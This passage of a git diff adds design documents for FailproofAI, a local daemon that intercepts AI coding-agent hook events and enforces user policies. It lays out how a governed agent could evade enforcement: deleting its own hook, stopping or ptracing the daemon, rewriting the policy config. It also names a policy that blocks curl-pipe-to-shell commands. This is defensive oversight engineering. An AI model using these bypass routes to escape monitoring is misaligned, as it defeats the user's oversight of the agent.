sources, one-time backfill, exactly-once delivery across restarts, quarantine, and `health` — is available from the daemon and covered by the collector's own conformance tests, reading and writing the same `~/.agenteye/` state. +- Every current OSS policy authoring, discovery, scope, CLI, harness, activity, dashboard, and audit behavior has a compatibility test and remains available. +- Re-running setup is idempotent. +- Setup failure restores prior service and harness configuration. +- A machine with no systemd and no launchd completes setup, runs the daemon, and reports it as `unsupervised`; killing the daemon there degrades to in-process evaluation rather than losing enforcement. +- `--service-scope managed` and `--service-scope system` fail with a deferred-scope error rather than installing something different from what was asked for. +- Two users on one machine run independent daemons; each socket refuses the other's peer, and neither user's `Query` results contain the other's data. +- Users can identify the exact policy revision, resolved capabilities, and execution tier responsible for a decision. +- No product surface — health, `policies explain`, the dashboard, setup output, or documentation — claims tamper resistance, verdict unforgeability, or protection from the user's own agent. A grep-level test over shipped user-visible strings enforces this. +- Harness attachment is reported as `detectable` or `cooperative`; the string `protected` does not appear as an attachment level. +- A policy needing filesystem, subprocess, or network access is admitted to the `user-context` tier and labeled as such. Tier is derived from the resolved import graph, not from the policy's own declaration, and a policy that under-declares fails inside `sealed` rather than escaping it. +- A policy whose body loops or backtracks past its deadline is interrupted out of band, reported as a deadline miss distinctly from an evaluation failure, and does not wedge the enforcement lane. +- Evaluation writes no temp file next to a user's policy source, on any path. +- Admission yields one digest covering the policy and every dependency, and evaluation resolves nothing from a mutable path. +- A decision whose deciding policy read a client-asserted working directory, project directory, or environment fact is reported `sealed_unattested` rather than `sealed`, and a request that asserts a home directory is rejected rather than silently corrected. +- The dashboard runs as the invoking user, is reachable only on loopback with a capability token and matching `Origin`, and is not registered with any service manager. +- A dashboard stops on explicit `stop`, terminal exit, and TTL expiry, and leaves no pidfile claiming a server that is gone. +- Two users can run dashboards simultaneously without a port conflict. +- Removing or altering an enabled FailproofAI hook is detected and semantically repaired without overwriting unrelated harness settings; explicit disable/uninstall is not repaired. +- Collection consent names each enabled source and its destination, and can be revoked independently. +- A bad harness schema returns to the previous valid schema and registration without replacing or restarting the daemon. +- The old collector and the daemon never own the same source concurrently, and rollback restores a functional standalone collector with its undelivered state. +- Uninstall erases the delivery key even when performed offline, and never silently deletes undelivered or user-authored data. +- A macOS installation runs a Developer ID signed, notarized, and stapled release, and its LaunchAgent starts on a machine that has been offline since installation. +- Linux and macOS pass the complete setup, service lifecycle, enforcement, schema refresh/rollback, and uninstall acceptance suite; Windows is not represented as a Phase 1 supported target. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/02-harness-integration.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/02-harness-integration.md new file mode 100644 index 00000000..0d090581 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/02-harness-integration.md @@ -0,0 +1,250 @@ +# Agent harness integration + +## Definition + +An agent harness is an agent CLI, IDE integration, gateway, or runtime whose lifecycle and tool-execution events can be observed or controlled. Examples include Claude Code, Codex, Cursor, Copilot CLI, OpenCode, Pi, Hermes, OpenClaw, Factory, Devin, Antigravity, and Goose. + +Harnesses do not implement FailproofAI policies. They expose native events; a thin FailproofAI adapter converts those events into the stable local daemon protocol and converts the daemon's canonical result back into the harness's native allow/deny/instruction contract. + +## Integration boundary + +```text +harness native event + | + v +harness registration/configuration + | + v +native `failproofai hook` client + | + | versioned local IPC + v +`failproofaid` canonicalization + policy evaluation + | + v +canonical allow / deny / instruct response + | + v +harness-specific stdout, exit code, callback, or plugin response +``` + +The harness-facing client must stay small and bounded. It reads one event, makes one local request, writes one response, and exits or returns control. It does not load policies, scan transcripts, contact any network service, check for updates, or start the dashboard. + +## Harness adapter contract + +Each harness adapter declares a versioned capability descriptor: + +- harness ID and detected harness version; +- native event name to canonical event mapping; +- native tool name/input to canonical tool mapping; +- fields that provide session, agent, project, working-directory, transcript, permission-mode, and parent-session identity; +- events on which the harness can block, observe only, or add context; +- response encoding: stdout schema, callback object, exit code, or gateway result; +- maximum safe response time and timeout semantics; +- behavior of stop-class nonzero responses, including whether they retry; +- configuration scopes and files used to register the adapter. +- registration attachment level (`detectable` or `cooperative` in this release; `protected` only under a deferred scope), its bypass paths, and the evidence used to verify continued attachment. + +Capability descriptors are code and test data, not prose-only documentation. `failproofaid` records the descriptor version used for every decision so FailproofAI can distinguish a policy allow from a harness that could not enforce the result. + +## Registration strategies + +Harnesses expose different extension surfaces. v1 supports three adapter shapes: + +### Command hook + +The harness invokes a command for an event and passes JSON or another documented payload on stdin. Setup writes the harness's supported configuration to call: + +```sh +failproofai hook --harness --event +``` + +The native client reads stdin and returns the required stdout and exit status. This is preferred where the harness has a real blocking hook contract. + +### In-process plugin shim + +Some harnesses expose JavaScript/TypeScript, Python, or another plugin API rather than a command hook. A minimal versioned shim invokes the same native client or local IPC protocol and returns the harness callback result. + +The shim contains only vendor adaptation. Policy evaluation remains in the daemon. A shim failure is visible and follows the integration's configured failure behavior. + +### Gateway or wrapper adapter + +Some runtimes expose events only inside a gateway process or require a wrapper around invocation. The adapter runs at that boundary and forwards events to the daemon. Setup must clearly disclose when enforcement depends on using the configured gateway/wrapper rather than every possible way of launching the agent. + +## Attachment and repair + +Enforcement depends on the harness continuing to call FailproofAI, and in this release every harness settings file involved belongs to the user whose agent is being governed. There is no registration an agent with that user's authority cannot edit, so **no adapter is labeled `protected`** — the strongest level reachable is `detectable`, and some are only `cooperative`. + +What the daemon does with a user-writable registration is still worth doing. It fingerprints the expected registration, checks it when filesystem events arrive and through periodic reconciliation, records changes, and automatically restores missing or altered FailproofAI entries. That repairs the two failures that actually happen — a harness upgrade that rewrites its settings file and drops unrecognized hooks, and a hand edit that removes the wrong line — and it makes a deliberate removal *visible* in health rather than silent. It does not prevent removal, and describing repair as prevention is forbidden. + +`protected` becomes reachable only with a registration the governed user cannot write: a machine-level hook or mandatory plugin owned by another account, or a gateway or wrapper backed by OS or fleet controls that prevent direct launch of the agent binary. All of those require a [deferred scope](./04-service-and-updates.md#deferred-scopes), so the label is unused in this release rather than aspirational. + +The daemon also detects missing event heartbeats relative to known sessions where the harness provides enough evidence, which catches an agent launched by a path that bypasses the registration entirely. + +### Hook settings reconciliation + +Every enabled adapter stores a desired registration in the daemon's own state, which is what reconciliation compares against rather than the harness file's previous contents. `failproofaid` watches the harness settings file and its parent directory so atomic replacement, rename, deletion, and recreation are all observed. Filesystem notification is an optimization; a bounded periodic scan is the correctness backstop after daemon downtime, queue overflow, or missed events. + +Reconciliation parses the harness's native configuration and compares normalized FailproofAI entries rather than raw file bytes. If an entry is missing or changed, the daemon performs an adapter-aware merge that restores only FailproofAI-owned keys and preserves unrelated hooks, ordering where meaningful, comments where the format supports them, permissions, and ownership. It validates file type, owner, parent path, and symlink policy before writing, takes an adapter-specific lock, re-reads after acquiring it, writes a same-directory temporary file, fsyncs it, atomically renames it, fsyncs the directory, and verifies the resulting registration. Compare-and-swap metadata or bounded retry prevents overwriting a concurrent legitimate edit. + +The daemon suppresses its own watcher event, debounces editor write bursts, and rate-limits repeated repair loops. Each repair records old/new registration identities, user, harness, reason, and result without logging unrelated settings or secrets. Repeated alteration degrades health and raises a local alert, which is the point: an agent that keeps deleting its own hook cannot be stopped, but it can be made loud. Repair remains enabled by default while the integration is enabled; `harness disable` first removes the desired registration so intentional uninstall is not repaired. + +The daemon authorizes every request from operating-system peer credentials rather than a bearer token exposed to the agent environment, and it serves exactly one UID: its owner. A peer that is not the owner is refused. On a shared machine several users may each be running their own daemon, and this is what keeps one user's socket from answering another user's events — a routing and isolation rule between users, not a privilege boundary within one. + +The client applies the mirror-image check. It confirms the socket it connected to is owned by the identity recorded at install time and refuses to translate a response from anything else. A verdict from an unverified peer is treated as daemon-unavailable, not as `allow` — so a stray or stale socket costs a fallback to in-process evaluation rather than a silent allow. + +## Request envelope + +The client sends a length-prefixed request over a Unix domain socket. The implemented wire contract — framing, version handshake, field-by-field encoding rules, and the error enum — is [`crates/PROTOCOL.md`](../../../crates/PROTOCOL.md); what follows is its conceptual shape: + +```json +{ + "protocol_version": 1, + "operation": "evaluate_hook", + "request_id": "018f...", + "deadline_monotonic_ms": 8421931, + "client": { + "version": "1.0.0", + "harness": "codex", + "harness_version": "...", + "adapter_version": 3 + }, + "host": { + "home": null, + "cwd": "/home/u/project", + "project_dir": null, + "env_facts": { "CLAUDE_PROJECT_DIR": null } + }, + "event": { + "native_name": "...", + "payload": {} + } +} +``` + +`host.home` is `null` on the wire and always will be: the daemon derives the home from the peer credential, and a client that asserts one is rejected as a protocol error rather than corrected. The daemon can get this field right on its own and the client cannot be relied on to, and a wrong home *widens* what path policies allow — a silently wrong verdict rather than a visible failure. `cwd`, the project directory, and a closed set of environment facts cannot be derived and therefore ride as client-asserted, which is what makes some decisions `sealed_unattested` — [derived and asserted context](./03-daemon-architecture.md#derived-and-asserted-context) has the argument. + +Native payload at the wire boundary is the intended end state, so adapter fixes can be made centrally in the daemon without requiring every hook registration to change. The shipped envelope has not reached it. While the hook client is still the TypeScript one, the payload it sends is **already canonicalized** — tool names and tool-input keys mapped, per-CLI normalizations applied — and the daemon trusts it rather than re-deriving it. Re-derivation is not implementable from that envelope, because it needs the raw vendor payload and only the canonical one is sent. What that costs is a *correctness* check rather than a trust boundary: both ends run as the same user, so the value of re-deriving canonicalization is catching a client that got a vendor's payload shape wrong, which is exactly the class of bug the twelve adapters produce. It closes when canonicalization moves daemon-side with the native client, and until then the parity corpus is what catches the same class. The client still enforces a fixed input-size limit before allocating or sending data, matched by the daemon's own frame cap so a payload the legacy path would have discarded cannot become a daemon-path exhaustion instead. + +The client supplies an absolute monotonic deadline. The daemon never invents a longer one. Time reserved for response translation and process exit is excluded before the request is sent. This deadline covers local queueing and policy evaluation. + +## Canonical event model + +The daemon canonicalizes the request into a common event containing: + +- canonical lifecycle event; +- harness and native event identity; +- machine, agent, project, session, and parent-session identity with provenance; +- canonical tool name and normalized input where applicable; +- working directory, transcript reference, and permission mode when exposed; +- raw payload retained only for policy fields that require it and within size limits; +- enforcement capability for this event/harness version. + +Canonicalization must preserve evidence about absent or uncertain fields. An inferred session ID is not represented as vendor-provided. A session-scoped match never broadens when session identity is unavailable. + +Provenance is part of that evidence, not a separate concern. The working directory, project directory, and environment facts are recorded as asserted by the client, because the daemon has no way to check them; the home directory is derived from the peer credential and never accepted from the client at all. A decision inherits the weakest provenance any deciding policy read, which is what the response's attestation reports — evidence about what a verdict depended on, so a surprising decision can be traced to the input that produced it. + +## Session lifecycle + +Harness adapters should report explicit session start, resume, compact, subagent start, and end events where available. The daemon uses them to maintain a local session registry that maps native IDs to the stable targeting identity used by policy matching, captured sessions, and decision evidence. + +When explicit lifecycle events do not exist, the daemon derives a session boundary from documented identifiers and activity. The adapter descriptor records this identity quality. Session-scoped enforcement is enabled only when the identity is strong enough to avoid applying a policy to the wrong run. + +Agent and session identity must align with collector output. An enforcement decision and a captured session from the same harness run must join on stable identifiers, so neither the local dashboard nor the observability server has to reconstruct the join heuristically after the fact. + +## Response model + +The daemon returns a canonical response: + +```json +{ + "request_id": "018f...", + "generation": 184, + "decision": "deny", + "message": "Policy explanation safe to show to the agent", + "context": null, + "decision_id": "018f...", + "attestation": "sealed", + "deadline_status": "within_budget" +} +``` + +`attestation` is `sealed`, `sealed_unattested`, or `user_context`. The adapter does not translate it — it is evidence rather than a harness-visible result — but it is what the decision record and `policies explain` report. It records where a decision was computed and whether it depended on a value the client asserted. In this release that is diagnostic provenance; under a [deferred scope](./04-service-and-updates.md#deferred-scopes) the same field becomes an integrity claim, which is why it is carried now. + +The harness adapter translates it according to declared capability: + +| Canonical result | Blocking event | Observe-only event | Context-capable event | +|---|---|---|---| +| `allow` | allow | continue | continue | +| `deny` | block using native contract | continue and record unenforced deny | block if supported, otherwise observe | +| `instruct` | allow with native message where supported | record only | add context/instruction | + +The daemon records both the policy result and effective harness action. Reporting a deny as enforced when the harness ignores that event is forbidden. + +## Deadlines and unavailable daemon + +Every adapter has a tested total time budget. Connection, daemon admission, policy evaluation, and response translation each consume that one budget. + +The client evaluates in process whenever the daemon endpoint is absent or protocol-incompatible. As it is actually built, that evaluator is not a package the client invokes but the untouched remainder of the code path the client is already executing, which is why it costs nothing to keep: there is no second artifact to hold in sync. Every daemon-side outcome other than a verdict — an unreachable socket, a version-handshake mismatch, a rejected envelope, a missed deadline — returns the client to it, and none of them fails the hook. + +Because the daemon and the in-process evaluator run as the same user with the same authority over the same configuration, this is not a degraded security posture — it is the same decision computed more slowly, without the sandbox and without the enforced deadline. That is what makes it a reasonable permanent default rather than a migration crutch, and it is why an unsupervised or crashed daemon is a health degradation rather than an enforcement gap. + +A later release may make unavailable-daemon behavior explicit per integration and policy class: + +- fail open and record degradation; +- fail closed using the native blocking contract; +- use a locally cached emergency decision for narrowly defined mandatory policies. + +Stop-class hooks require an adapter-specific response because some harnesses interpret a nonzero exit as “retry” and can loop forever. No generic failure exit is applied across harnesses. + +## Configuration ownership + +`failproofai setup` owns only marked FailproofAI entries in harness configuration. It must: + +- merge without deleting unrelated user hooks or plugins; +- detect and upgrade older FailproofAI commands in place; +- avoid registering the same event twice; +- preserve the original file format and permissions where practical; +- use atomic writes and retain a rollback copy until verification succeeds; +- remove only owned entries during disable or uninstall. + +Project-scoped integrations remain possible, but they still connect to the user's daemon. Setup displays whether an integration is user-, project-, or local-scoped and which projects it covers. + +## Version negotiation + +The client and daemon negotiate a protocol version before evaluation or use a cached compatible version after a recent successful handshake. Releases declare: + +- supported IPC protocol range; +- harness adapter descriptor revisions; +- policy runtime/API range; +- minimum compatible client and daemon versions. + +Explicit binary upgrades must tolerate the old client talking to the new daemon and the new client talking briefly to the old daemon during setup. Incompatible versions fail with an actionable diagnostic and use the documented migration fallback where available. + +## Adding a harness + +A new harness integration is complete only when it provides: + +1. detection and version probing; +2. an adapter capability descriptor; +3. install, upgrade, disable, and uninstall configuration transforms; +4. fixture-backed canonicalization tests for every supported native event; +5. response-contract tests proving allow, deny, instruct, timeout, and daemon-unavailable behavior; +6. session/agent identity tests aligned with its collector source; +7. enforcement-capability evidence traced to the harness call site or vendor contract; +8. an end-to-end test against the real harness or a version-pinned conformance probe; +9. health and diagnostics output; +10. user documentation stating what is enforceable and what is observation-only. + +## Harness acceptance criteria + +- The thin client makes no network request and performs no policy-loading work. +- Golden fixtures preserve current canonical decisions and native response contracts. +- Every event is labeled block, observe, or context-capable from verified evidence. +- A harness upgrade that changes payload or response behavior fails conformance visibly rather than silently allowing. +- Hook installation is idempotent and uninstall preserves unrelated configuration. +- Enforcement and collector records for one session share stable identity. +- Missing session identity never broadens a session-scoped match. +- Timeout and daemon-unavailable behavior is tested separately for every harness, especially stop-class events. + +The envelope and framing remain transport-neutral so a later Windows implementation can add a named-pipe transport without changing harness semantics. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md new file mode 100644 index 00000000..284a32b5 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md @@ -0,0 +1,265 @@ +# Daemon architecture + +## Responsibilities + +`failproofaid` is the Rust local enforcement plane. It runs as the user whose agents it governs, and it owns: + +- local IPC and request admission; +- desired hook registration, settings-file watching, and automatic reconciliation; +- event canonicalization and policy evaluation coordination; +- immutable local policy generations; +- collector source workers, checkpoints, spooling, and delivery; +- health, diagnostics, logs, and resource limits; +- signed harness schema-catalog refresh and atomic activation. + +One daemon serves one user. There is no per-user agent, no privileged helper, and nothing the daemon delegates to a second resident process — running as the user is what removes the need for any of them, because every file the daemon must read is a file it can already open. + +The user-facing `failproofai` CLI is a client of the daemon and service manager. Agent harnesses invoke the same CLI as the smaller hook client described in [Agent harness integration](./02-harness-integration.md). + +## Execution lanes + +The daemon separates work into independently bounded lanes: + +1. **Enforcement** — reserved workers, strict deadlines, and no network dependency. +2. **Collection** — source watching, transcript parsing, checkpointing, and backfill. +3. **Delivery** — batching, upload, retry, and quarantine. +4. **Maintenance** — configuration reload, health snapshots, cleanup, and harness schema-catalog refresh. + +Phase 2 adds one more lane — management, for cloud desired-state reconciliation — under the same per-lane bounds. The lane structure exists now so adding it is a registration rather than a re-architecture. + +Maintenance includes one adapter-aware hook reconciler per enabled harness. Watcher activity and repair work have bounded queues and cannot consume enforcement capacity. The persisted desired registration, not the current mutable harness file, is authoritative until an explicit disable or uninstall commits a new desired state. + +Each lane has its own queue, concurrency, memory, and time limits. Background work cannot consume enforcement's reserved capacity. Overload is reported per lane rather than causing unbounded queue growth. + +## Local IPC + +- The daemon listens on a Unix domain socket in the user's own runtime directory, and every request is authorized from operating-system peer credentials. +- The daemon does not expose its control protocol over TCP, including loopback. +- Messages are length-prefixed and versioned rather than newline-delimited. +- Peer identity is mandatory. The daemon serves exactly one UID — its owner — and closes a connection from any other peer. +- Hook, query, and administrative operations remain distinct protocol operation classes, so a later scope can attach different authorization to each without a wire change. + +The peer check is not a privilege boundary; the owner is the only party who could gain anything by connecting, and they already own the daemon. It is an isolation rule for a shared machine, where several users may each be running their own daemon and one user's socket must never answer another user's events. It also rejects the ordinary misconfiguration — a stale `FAILPROOFAI_DAEMON_SOCKET` pointing at somebody else's endpoint — as an error rather than as somebody else's policy set. + +Windows transport and service integration are deferred beyond Phase 1. The framed protocol remains transport-independent so a later named-pipe implementation does not change request semantics. + +Initial operations are `Ping`, `EvaluateHook`, `Status`, `Reload`, `Flush`, and the `Query` set. `Ping` and `EvaluateHook` are implemented; the rest land with the stages that need them, as new operation variants rather than wire changes. The framing, handshake, and envelope as implemented are specified in [`crates/PROTOCOL.md`](../../../crates/PROTOCOL.md), which the daemon, the `fpai-ipc` crate, and the TypeScript hook client are each written against independently — so anything left ambiguous there becomes a silent interoperability bug rather than a loud one. + +| Class | Operations | Authorized for | +|---|---|---| +| Hook | `EvaluateHook` | the owning UID | +| Query | activity, sessions, transcript access, policy list with source/tier/revision, health, generation identity | the owning UID | +| Administrative | admit or remove artifacts, stop, reconfigure, mutate the active generation | the owning UID | + +The three classes stay separate even though one identity satisfies all of them today. Collapsing them would make adding a [deferred scope](./04-service-and-updates.md#deferred-scopes) — where the administrative class is exactly what needs different authorization — a protocol change rather than an authorization change. + +`Query` exists because the local dashboard and CLI need read access without inventing a second identity mechanism. The daemon does not distinguish a dashboard client from any other — see [Local dashboard](./01-user-experience.md#local-dashboard) for why the dashboard is the CLI in a mode rather than a process the daemon spawns. + +## Policy generations + +The daemon evaluates each request against an immutable generation. A generation contains resolved configuration, policy artifacts, policy metadata, runtime compatibility, and content identity. + +A local reload constructs a candidate away from the active generation: + +1. resolve inputs and immutable artifacts; +2. verify schema, digest, runtime compatibility, and policy target/scope for every source; +3. load and initialize policies within bounds; +4. reject duplicates and invalid registrations; +5. atomically publish the complete generation. + +Every Phase 1 input is locally authored — builtin, explicit, or convention — and requires no signature or enrollment. A source's content digest identifies the generation for cache invalidation and decision evidence; it is not treated as publisher authentication. The candidate-construction sequence has a deliberate seam at step 2 so that a source needing publisher, binding, or replay verification can be added without changing how a generation is published. + +In-flight requests finish on the generation with which they started. A failed candidate never partially replaces active state. The last known-good generation is persisted and loaded before accepting hook traffic after restart. + +### The enabled set is the user's configuration + +Which policies run comes from `.failproofai/policies-config.json`, merged across project, local, and user scope exactly as the current product merges it. That merge is authoritative, and it belongs to the user. + +The client resolves it and sends it in the request; the daemon evaluates that set and never a set of its own. This is deliberate and was learned the hard way. When the daemon supplied its own default list, a user with 30 policies enabled got the 11 builtin defaults — 19 builtins plus every custom and convention policy silently stopped enforcing the moment the daemon answered. A client-resolved set makes the daemon's answer equal to the answer the same configuration produces in process, which is the property the parity corpus asserts and the only one that matters when both ends are the same user. + +An empty set is a protocol error rather than "evaluate nothing" or "use the defaults". The first turns a client bug into a silent allow; the second reinstates the defect above. + +## Policy runtime boundary + +Rust is the authoritative implementation language for the daemon and new core subsystems. + +Existing local custom policies are JavaScript or TypeScript and may use transitive local and package imports. v1 cannot silently narrow that contract. A supervised, long-lived policy worker behind an internal runtime interface is the migration design. It is shipped, versioned, monitored, and terminated with the daemon; users do not manage it as a separate service. + +Locally authored policy is a first-class source, not a compatibility shim. Builtins, explicit custom files, project/user convention directories, and existing configuration scopes produce the active generation without authentication. + +The existence of this JavaScript worker is not a general licence to execute policy from any origin. It admits code the machine's own users authored and can already run as themselves. Admitting policy from a remote origin is a separate problem with separate requirements, and it is deliberately not solved by reusing this worker. + +Each evaluation has a deadline and resource budget. Repeated timeout, crash, or memory failure trips a circuit breaker for the offending generation or artifact and records structured diagnostics. + +**A deadline does not enforce itself.** A policy body is synchronous JavaScript: once the runtime enters it, nothing else on that thread runs, so a deadline checked between microtasks is checked exactly never for the case that matters. The case is neither hypothetical nor exotic — `block-curl-pipe-sh` is default-enabled and sealed, and its regex backtracks quadratically on a repeated `curl ` prefix. Measured against a 200 ms deadline with no out-of-band interrupt, 40 KB of command took 7.1 seconds and 80 KB took 30, each returning a verdict rather than a deadline miss, and a request at the frame cap extrapolates past an hour — one such request wedges the single enforcement lane, and two other default-enabled policies have the same regex shape. Enforcement therefore requires a watchdog that arms before the runtime is entered and disarms after it returns, setting a flag the runtime polls and unwinds on. Because that unwind arrives as an ordinary exception, the catch sites must tell it apart from a policy that genuinely threw; otherwise a merely slow policy trips the circuit breaker meant for a broken one. The same reasoning applies to the memory ceiling, which is the mechanism the interrupt cannot substitute for: an interrupt cannot stop a single allocation that is too large, and a ceiling cannot stop a tight loop. + +This is the clearest example of what the resident architecture buys. In the per-event process model the same regex hangs one hook until the harness's own timeout fires, with no diagnosis and no record. Here it is interrupted, reported as a deadline miss distinct from an evaluation failure, and attributed to a named policy. + +### Execution tiers + +A policy that inspects the repository, the diff, or the transcript must be able to open files and run `git`. A policy that only reads the tool payload needs none of that, and is better off unable to reach it at all. Evaluation is therefore split by **resolved capability**: + +| Tier | Where it runs | Filesystem, subprocess, network | +|---|---|---| +| `sealed` | the daemon's own embedded engine | absent — no bindings registered | +| `user-context` | a worker the daemon spawns | granted, with the user's own authority | + +The names describe capability, not identity. Both tiers run as the user, in a process tree the user owns, and the daemon never needs to change UID for either. + +**The split makes no verdict-integrity claim, and this release does not have one to make.** The governed agent and the daemon are the same user: it can `ptrace` the daemon, preload into it, replace `failproofaid` on disk, rewrite `policies-config.json`, or `systemctl --user stop failproofaid`. Nothing built out of processes owned by a single user changes that, and no document, health field, or CLI string in this release may suggest otherwise. What would change it is a daemon running as a different account, which is exactly what [deferred scopes](./04-service-and-updates.md#deferred-scopes) describes and exactly what it would buy. + +What the `sealed` tier does buy is the difference between a resident sandbox and a per-event dynamic import: + +- **Residency.** The engine and the compiled builtins are loaded before the event arrives, instead of a fresh interpreter re-importing every policy file per tool call. +- **No side effects on the user's tree.** The current loader writes a `.__failproofai_tmp__.mjs` beside the policy source on *every* evaluation. The sealed loader is a lookup into a compiled module map and touches no path at all. +- **An enforceable deadline.** The watchdog above is only possible because evaluation happens inside a runtime the daemon controls and can interrupt. +- **Containment of mistakes.** A payload-only policy that unexpectedly reaches for `node:fs` gets a `ReferenceError` and trips its circuit breaker, rather than reading or writing something its author did not intend on a developer's machine. This bounds *errors and over-reach*, not an adversary — an author who wants host access simply writes a `user-context` policy and gets it. + +The tier is derived at admission from the policy's **resolved import graph**, never from a manifest the author writes, and cannot be overridden by configuration. That is not a trust argument here; it is an accuracy one. A declaration is the author's belief about their own dependencies, and the resolved graph is the fact — routing on the belief would put a policy in a context where it fails at evaluation time rather than at install time. The declaration remains useful as a diagnostic, and a mismatch between it and the resolved graph is an admission finding. + +Runtime behavior is the second, independent mechanism. The `sealed` context is deny-by-default: it exposes no filesystem, process, or network bindings, so a policy that under-declares does not silently acquire them, it fails inside the tier it was routed to. Repeated failures trip the circuit breaker for that artifact and surface in health rather than degrading silently to an allow. + +The `sealed` tier covers more than it first appears. Canonical tool name, command string, file path, and old/new content already arrive in the request envelope, so payload-only builtins evaluate there. Resolved against the real import graph, that is 32 of the 39 builtins; the seven that route to `user-context` are `warn-repeated-tool-calls`, `block-work-on-main`, and the five `require-*-before-stop` policies, each of which reads the repository or shells out to `git`. The split is a property of the modules those policies transitively import, which is why they had to be separated into distinct modules first — a single shared module importing `child_process` routes all 39 to `user-context`, and the resident sandbox then contains nothing at all. + +Results combine as `deny` over `instruct` over `allow`, so a `user-context` policy can tighten a `sealed` result and never relax it. That is the product's decision semantics, and it holds independently of who owns which process. + +### Pinned policy runtime + +The daemon evaluates against a runtime shipped with the native release rather than whichever interpreter `PATH` happens to expose. Node commonly resolves through nvm, fnm, or volta into a path that changes when the user switches versions, and a policy runtime that changes underneath an installation produces decisions that differ between two machines with identical configuration. + +The runtime therefore installs alongside the binaries in the versioned release directory, is referenced by an absolute path recorded at install time, and resolves nothing through `PATH`. Its version and digest are release-manifest and SBOM entries, so "which runtime decided this" is answerable. Because admission already compiles policies, a runtime that is also a bundler removes a separate toolchain from the release. + +The `sealed` tier goes one level further, and does so as shipped: its engine is QuickJS-ng linked into the daemon binary, evaluating a bundle embedded at compile time in a context created with **no bindings registered at all** — no `require`, no module loader, no `process`, no `fetch`, no filesystem. Not blocked: absent. A policy reaching for one gets a `ReferenceError`, which is an evaluation failure that trips a circuit breaker rather than a silent allow, and that is what makes the deny-by-default boundary structural instead of a syscall filter someone has to keep current. Embedding the bundle rather than reading it from disk also makes the evaluator part of the signed artifact, so a corrupted or partially written state directory cannot produce a subtly different evaluator. The runtime installed on disk is what the `user-context` tier runs, where real imports are the entire point; [open decision #3](./06-delivery-plan.md#open-decisions) is about that one. + +Environment is constructed, never inherited. The hook client's environment originates in the agent's process, which makes `NODE_OPTIONS`, `NODE_PATH`, preload flags, and library-search variables inputs that reach anything the daemon spawns. Inheriting them would make evaluation depend on whatever the agent's shell happened to export — a policy behaving differently under one harness than another for reasons nobody can see. The service definition sets a fixed `PATH`, and worker spawn passes an explicit allowlisted environment. + +### Dependencies and admission + +Policies are compiled, not copied. Admission resolves the full import graph and inlines it into a single content-addressed artifact, so one digest covers the policy and every dependency, nothing is resolved from a mutable path at evaluation time, and the decision record identifies exactly what ran. That same resolved graph is what determines the execution tier. + +Three things follow, and none of them require privilege. Evaluation stops depending on `node_modules` being in the state the author last left it. A decision names a digest instead of a path. And the sealed loader becomes a map lookup rather than a resolver, which is what lets the sealed context have no filesystem binding at all. + +Native addons cannot be inlined, so a policy requiring one is admitted to `user-context`, where imports resolve normally. Its `.node` files are copied alongside the artifact with their digests pinned, so the artifact still identifies what ran. + +Admission runs in the CLI, as the user, with no elevation — like everything else in this release. + +### Enforcement performs no unbounded I/O + +A policy that needs remote state — pull-request status, CI results, an organization directory — must not fetch it during evaluation. Enforcement runs under a hard monotonic deadline, and a synchronous network call inside a hook makes a third party's availability a precondition for the user running a command. + +Remote state is fetched by the collection lane on its own schedule into a local cache with an explicit freshness bound, and the policy reads that cache synchronously. A policy reading stale or absent cached state must be able to distinguish it from a negative result, and the freshness bound is recorded with the decision. The rule is a property of the enforcement deadline, not of where the data comes from, so it holds identically for any lane added later. + +Because the daemon runs as the user, a `user-context` policy that needs a credential for that fetch can use the user's own — `~/.config/gh`, `~/.netrc`, an environment token — rather than needing one issued to a service. That removes a whole credential-brokering problem this design previously had to carry. + +## Evaluation path + +For an accepted hook request, the daemon: + +1. validates the envelope and remaining deadline; +2. canonicalizes the native harness event; +3. resolves machine, agent, project, session, event, and tool targeting context; +4. selects an immutable active generation; +5. finds all matching policies and their effects; +6. evaluates matching policy locally within the remaining deadline, routing each one to its admitted execution tier; +7. combines results deterministically (`deny` over `instruct` over `allow`), so a `user-context` result can tighten the outcome but never relax a `sealed` one; +8. writes decision evidence asynchronously to the durable activity spool; +9. returns a canonical result and decision ID. + +The response never waits for event upload, transcript processing, or catalog refresh. + +### Derived and asserted context + +Request context is not uniform, and treating it as though it were produces wrong verdicts that look like right ones. Step 3 above resolves fields with two different provenances, and the difference is load-bearing enough to be part of the protocol rather than a convention. + +`home` is **derived by the daemon** from the peer credential, with `getpwuid_r(peer_uid)`, and a client that asserts one is rejected as a protocol error rather than corrected. Two reasons, and neither depends on an adversary. The daemon can compute this field correctly from the connection itself, so accepting it from the client adds a way to be wrong and no way to be right. And `isAgentInternalPath` and `block-read-outside-cwd` both use the home to *widen* the set of paths they allow, so a wrong value does not fail — it quietly permits more, which is the one direction that does not announce itself. Silently overwriting the field would leave the protocol looking as though it accepted it; rejecting makes a client that sends one fail loudly and get fixed. A `getpwuid_r` miss is an error, never a fallback to a default home. This is implemented and enforced. + +`cwd`, the project directory, and environment facts genuinely cannot be derived: `/proc//cwd` is TOCTOU-prone and, on macOS, unreadable for a non-matching UID. They therefore travel as **client-asserted** values with explicit provenance. Environment facts are a closed set — `CLAUDE_PROJECT_DIR` alone today — and an unknown key is rejected by name rather than passed through, so the set of environment variables that can reach evaluation stays something a reader of this document can enumerate. + +The consequence is a third attestation rather than a weakened claim. A decision every one of whose deciding policies ran `sealed` and read none of these is `sealed`; one that ran `sealed` but read a client-asserted field is `sealed_unattested`; one a `user-context` policy contributed to is `user_context`. Attestations combine as a maximum under `sealed < sealed_unattested < user_context`, so a combined result is never reported as more attested than its weakest input. + +In this release the attestation is **provenance, not integrity**: it answers "what did this decision depend on, and where was it computed", which is what makes an unexpected verdict diagnosable and what tells an author their payload-only policy is quietly reading an asserted `cwd`. Under a [deferred scope](./04-service-and-updates.md#deferred-scopes) the same three values become an integrity claim without a protocol change, which is why they are carried and computed now. + +### Forward compatibility + +Three later changes are anticipated and none may require harnesses to be reintegrated: a deferred scope may move the daemon to another account, Phase 2 adds centrally assigned policy evaluated locally, and a version after it may move some or all evaluation off the machine. + +What Phase 1 does to keep them open is limited to contract shape, not mechanism. The harness contract terminates at `failproofaid`. Policy decisions use a location-independent canonical request/result 